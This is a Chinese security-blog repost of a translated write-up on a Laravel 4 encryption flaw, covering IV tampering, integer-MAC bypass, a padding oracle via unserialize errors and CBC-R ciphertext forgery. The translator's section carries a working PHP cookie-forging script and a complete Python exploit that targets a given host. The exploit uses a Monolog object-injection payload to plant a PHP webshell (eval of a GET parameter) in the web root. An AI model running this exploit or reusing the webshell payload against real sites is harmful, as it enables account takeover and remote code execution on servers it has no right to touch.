Laravel cookie伪造,解密,和远程命令执行

admin 2019年5月10日15:24:54评论348 views字数 10796阅读35分59秒阅读模式
摘要

from:laravel-cookie-forgery-decryption-and-rceLaravel PHP框架中的加密模块存在漏洞,攻击者能够利用该漏洞伪造session cookie来实现任意用户登录, 在某些情况下,攻击者能够伪造明文对应的密文,并以此来实行远程代码执行。

from:laravel-cookie-forgery-decryption-and-rce

0x00 内容


0x01 名词约定


下图为CBC模式加密过程

Laravel cookie伪造,解密,和远程命令执行

下图为CBC模式解密过程

Laravel cookie伪造,解密,和远程命令执行

  • Plaintext: 明文(P)
  • Ciphertext: 密文(C)
  • Initialization Vector: 初始化向量(IV)
  • Key: 密钥(K)

Laravel cookie伪造,解密,和远程命令执行

0x02 简介


Laravel PHP框架中的加密模块存在漏洞,攻击者能够利用该漏洞伪造session cookie来实现任意用户登录, 在某些情况下,攻击者能够伪造明文对应的密文,并以此来实行远程代码执行。

Laravel是一个免费,开源的PHP框架,它为现在的web开发人员提供了很多功能,包括基于cookie的session功能。 为了防止攻击者伪造cookie,Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时,会计算出相对应的MAC, 并与cookie所带的MAC做比较。如果两MAC不一致,则认为cookie已经被篡改,请求会被终止。

0x03 任意用户登录


下面的代码展示了MAC验证和解密过程:

$payload = json_decode(base64_decode($payload), true);  if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))     throw new DecryptException("MAC for payload is invalid.");  $value = base64_decode($payload['value']); $iv = base64_decode($payload['iv']);  $plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv))); 

从上面的代码可以看出MAC只对value进行校验,并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael-256的密码分组链接(CBC)模式。 着也就意味着,没有对IV进行校验,攻击者能够任意修改第一个块的明文。

Laravel “remember me”的cookie格式是user ID字符串,因此恶意用户可以修改他们自个的session cookie,达到登录任意用户,假设我们的用户ID为"123",session cookie原始明文为s:3:"123";后接22byte的补充:s:3:"123";/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16/x16(译者注: Laravel用的是PKCS7 padding,与PKCS5不同的是,PKCS5明确填充的内容psLen是1-8, 而PKCS7没有这限制。)

假设系统生成的cookie中的IV是这样子的:

V/xc5/xb5/x03/xf1/xd4"/xe5+>c/xffJPN/xad/x9f/xd6/xa0/x9cV/xe3@/x9c/xd5/xa0/xd1/xddS/x1d/xc9/x84 

如果我们想伪造ID为1的用户,也就是cookie明文为s:1:"1";后接24byte的补充,为了能够使服务器端成功解密出ID为1的明文, 需要按照以下步骤生成IV:

Laravel cookie伪造,解密,和远程命令执行

就获得了Pb 相对应的IVb,提交新的cookie,我们就成了ID为1的用户,也可以用同样的方法来登录其他ID。 对攻击者来说,能够登录任意用户也是相当牛逼的,但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法, 能够通杀使用Laravel的应用呢?

0x04 发送任意密文


另外一个问题,进行MAC检验的时候使用的是!=。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串, 但是如果$payload['mac']是一个整型,那么强制类型转换会使得伪造一个对应的MAC变得相对简单, 例如,正确的MAC以"0"或者其他非数字起头,那么整数0将与之匹配,如果以"1x"(x非数字),那么整数1与之匹配,依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)

var_dump('abcdefg' == 0); // true var_dump('1abcdef' == 1); // true var_dump('2abcdef' == 2); // true 

由于MAC是经过json_decode处理的,攻击者可以提供一个整型的MAC,这也就意味着,攻击者能够提供一个正确的MAC给任意密文。

0x05 解密密文


Laravel使用的是CBC模式的分组密码,我们也能够提供任意密文让其解密,我们是否能够实施一次牛逼哄哄的CBC padding oracle attack攻击呢? 答案是:在某种情况下,YES

一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态,回头看看解密过程的代码, 有三个地方填充状态可能会被泄漏:

  • mcryptDecrypt(): 无侧漏,就是调用mcrypt_decrypt(),没对padding进行处理
  • stripPadding(): 无明显侧漏,该方法检测padding是否合法,但不会报告错误,只是返回输入是否被篡改。 这里有个基于时间的边信道侧漏,是否多调用substr(),但是我们选择无视它。
  • unserialize(): 当error reporting启用,一个不合法的PHP序列化字符串,它会侧漏输入字符串的长度。

嗯,当PHP reporting启用时(其实应该是Laravel的debug模式开启时),反序列化解密后的数据会告诉我们有多少byte的padding被去除, 例如unserialize()爆出"offset X of 22 bytes"的错误时,我们就可以知道这里有10byte的padding。

这样的侧漏对于组织一次有预谋的padding oracle attack来说,足够!

0x06 为任意明文伪造合法的密文


既然有了个CBC decryption oracle,那就很有可能利用CBC-R技术来加密任意明文。

Laravel cookie伪造,解密,和远程命令执行

CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ,如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 , 他就能够生成他想要的明文块。既然这里有个选择密文攻击,很显然攻击者能够控制 Ci 和 Ci−1 , 至于DK(Ci)

我们能够利用decryption oracle获得,因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧,如果应用程序使用了这套加密API,我们就伪造密文来执行敏感操作,但是这还是得取决于应用有多傻逼, 我们希望变得更牛逼。

0x07 发送任意密文


我们已经使用unserialize()作为我们padding oracle的基础, 那我们再次利用unserialize()作一次PHP对象注入来达到任意代码执行,如何?

经过搜索Laravel代码之后,发现还是蛮多类定义了__wakeup()或者__destruct()魔术方法, 不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类,显然,如果payload利用的是被广泛应用的monolog而不是其他特定的类,会更为通用。 使用Composer(PHP依赖管理器)时,monolog很有可能被包含,因为它可能被注册为PHP class autoload,这也就意味着, monolog不用被明确的包含在我们请求的文件中,当我们反序列化的时候,PHP会自动寻找加载这个类。

BufferHandler类包装这另外一个log处理类,当BufferHandler对象被销毁时,BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer,一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类,所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象,其中StreamHandler对象的流资源指向web根目录,并且BufferHandler内包含着带有php webshell的log buffer,好,计划通,行动。

利用下面的代码,很容易生成对应的payload:

<?php  require_once 'vendor/autoload.php';  use Monolog/Logger; use Monolog/Handler/StreamHandler; use Monolog/Handler/BufferHandler;  $handler = new BufferHandler(     new StreamHandler('target-file.php') ); $handler->handle(array(     'level' => Logger::DEBUG,     'message' => '<?php eval(hex2bin($_GET[/'x/']));?>',     'extra' => array(), )); print bin2hex(serialize($handler)) . "/n"; ?> 

上面的脚本会生成我们的payload:

O:29:"Monolog/Handler/BufferHandler":3:{s:10:"/x00*/x00handler";O:29:"Monolog/Handler/StreamHandler":1:{s:6:"/x00*/x00url";s:15:"target-file.php";}s:9:"/x00*/x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"/x00*/x00bufferSize";i:1;} 

通过上面介绍的技巧,我们可以加密该payload,作为cookie提交上去的时候,代码就执行了。

0x08 译者总结


对于原作者所说的漏洞,我拿一个开源bloglaravel-4.1-simple-blog做实验,将关键文件回滚到存在漏洞状态,如果有人想研究,也可以在这laravel-cookie-forgery-decryption-and-rce.zip下载完整文件。

测试1 任意用户登录

在本地:

新注册一个账户fate0@fatezero.org,得到用户ID为62,利用以下代码即可获取指定ID用户的cookie

<?php  if ($argc < 4) {     print("[*] Usage ".$argv[0]." cookie userid targetid/n");     return; }  $cookie = json_decode(base64_decode($argv[1]), true); $userid = $argv[2]; $targetid = $argv[3];  $iv_a = base64_decode($cookie['iv']); $p_a = addPadding(serialize($userid)); $p_b = addPadding(serialize($targetid));  $iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);  $cookie['iv'] = $iv_b;  echo base64_encode(json_encode($cookie))."/n";  function addPadding($value) {     $block_size = 32;     $pad = $block_size - (strlen($value) % $block_size);     return $value.str_repeat(chr($pad), $pad); } ?> 

运行结果

Laravel cookie伪造,解密,和远程命令执行

测试2 利用padding oracle来实现RCE

我修改原作者生成payload的脚本,对比生成的payload和原作者给的payload,发现原作者把一些无用的protect属性给去除了, payload显得比较短,打算直接使用作者给的payload。

但是!原作者的payload留了个大坑,正常访问下,index.php的工作目录是web目录, 但是unserialize cookie之后产生的BufferHandler对象和字符串做运算,而BufferHandler类没实现__toString魔术方法, 从而导致触发fatal error,使用register_shutdown_function注册的回调函数$this->close被调用,但是!在我测试环境ubuntu 12.04 64bit + php 5.3.10下,触发异常导致$this->close被调用的时候,工作环境被切换到了根路径'/',从而导致写文件失败。

另外一个坑是mac校验处,本来以为(10/16.0) ** 3 = 0.244140625,开头连续三个数字字符的概率还算低,结果跑一遍才发现远远低估mac校验这里的情况了,比如说正确的校验值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd, 这种情况就让人很无奈。在实际情况中,正确的做法是换payload,在这里我就直接换key, 最后把key换成Http://WeiBo.COM/Fatez3r0/home?Y。 由于程序推ciphertext,推cv的关联性,以及推1 byte cv的随机性,多线程在此处意义不大。

下面是我根据上面的原理编写的exploit

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176
#! /usr/bin/env python # -*- coding: utf-8 -*-  from __future__ import print_function  import re import sys import json import struct import base64 import requests from optparse import OptionParser   def init_parser():     print("")     print("=== POC for laravel RCE ===")     print("=== by fate0            ===")     print("=== [email protected]  ===")     print("=== weibo.com/fatez3r0  ===")     print("")     usage = "Usage: %prog --host http://www.fatezero.org"     parser = OptionParser(usage=usage, description="POC for laravel RCE")     parser.add_option("--host", type="str", dest="host", help="remote host name")     return parser   class LaravelOracle(object):     """     提供32位的payload,也就是明文P     返回相对应的32byte IV     """     block_size = 32      def __init__(self, domain, plaintext, ciphertext):         self.domain = domain         self.timeout = 7         self.re_pattern = re.compile("Error/sat/soffset/s/d{1,2}/sof/s([/d]{1,2})/sbytes", re.DOTALL | re.M)         self.plaintext = bytearray(plaintext)  # 32byte的payload         self.ciphertext = bytearray(ciphertext)  # 32byte的ciphertext         self.cv = bytearray()   # 正确的cv (中间值)         self.iv = bytearray()         self.cookie = {             'mac': 0,             'value': self.ciphertext,             'iv': bytearray('0'*32)         }         self.modify_cookie_mac()      @staticmethod     def add_padding(value):         """         对value进行padding         """         pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)         return "{value}{padding}".format(value=value, padding=chr(pad)*pad)      @staticmethod     def format_cookie(cookie):         """         将易操作的cookie转换成laravel的cookie         """         tmp_cookie = dict()         send_cookie = dict()          tmp_cookie['iv'] = base64.b64encode(cookie['iv'])         tmp_cookie['value'] = base64.b64encode(cookie['value'])         tmp_cookie['mac'] = int(cookie['mac'])          send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))         return send_cookie      def modify_cookie_iv(self, index):         if len(self.cv) != index:             print("[-] Something Wrong")             sys.exit()          tmp_append = bytearray()         for each_c in self.cv:             tmp_append.append(each_c ^ (index+1))          self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append      def modify_cookie_mac(self):         """         获取正确的mac         一个32byte的分组,只有1个正确的mac         """         while True:             send_cookie = self.format_cookie(self.cookie)             response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)             if response.status_code == 500:                 return True             self.cookie['mac'] += 1      def guess_cookie_iv_byte(self, index, value):         """         猜测一个字节的IV         """          self.cookie['iv'][LaravelOracle.block_size-index-1] = value         send_cookie = self.format_cookie(self.cookie)         response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)          re_result = self.re_pattern.findall(response.content)         if not re_result:             if index != 31:                 return False             if response.status_code == 200:                 self.cv.insert(0, value ^ (index+1))                 return True         elif int(re_result[0]) >= LaravelOracle.block_size - index:             return False         else:             self.cv.insert(0, value ^ (index+1))             return True      def exploit(self):         for index in xrange(32):             self.modify_cookie_iv(index)             for value in xrange(256):                 if self.guess_cookie_iv_byte(index, value):                     break             print(index, hex(self.cv[0]))          for p_char, cv_char in zip(self.plaintext, self.cv):             self.iv.append(p_char ^ cv_char)   def main():     parser = init_parser()     option, _ = parser.parse_args()     domain = option.host      if not domain:         parser.print_help()         sys.exit(0)      domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)     domain = domain if not domain.endswith('/') else domain[:-1]      cookie = dict()     cookie['mac'] = 0      payload = ('''O:29:"Monolog/Handler/BufferHandler":3:{s:10:"/x00*/x00handler";O:29'''                ''':"Monolog/Handler/StreamHandler":1:{s:6:"/x00*/x00url";s:26:"/var/www/blog/public/x.php";}'''                '''s:9:"/x00*/x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''                '''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"/x00*/x00bufferSize";i:1;}''')      padding_payload = LaravelOracle.add_padding(payload)     payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))      ciphertext = bytearray('0'*32)     for each_payload_block in payload_block:         print("[plaintext] {payload_block}".format(payload_block=each_payload_block))         print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))         LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])         LO.exploit()         print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))         ciphertext = LO.iv + ciphertext      cookie['iv'] = ciphertext[:32]     cookie['value'] = ciphertext[32:]     cookie['mac'] = 0      while True:         send_cookie = LaravelOracle.format_cookie(cookie)         requests.get(domain, cookies=send_cookie, timeout=7)         if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:             print("cookie: /n{cookie}".format(cookie=send_cookie))             return         cookie['mac'] += 1   if __name__ == '__main__':     main() 

运行结果

Laravel cookie伪造,解密,和远程命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月10日15:24:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Laravel cookie伪造,解密,和远程命令执行http://cn-sec.com/archives/64576.html

发表评论

匿名网友 填写信息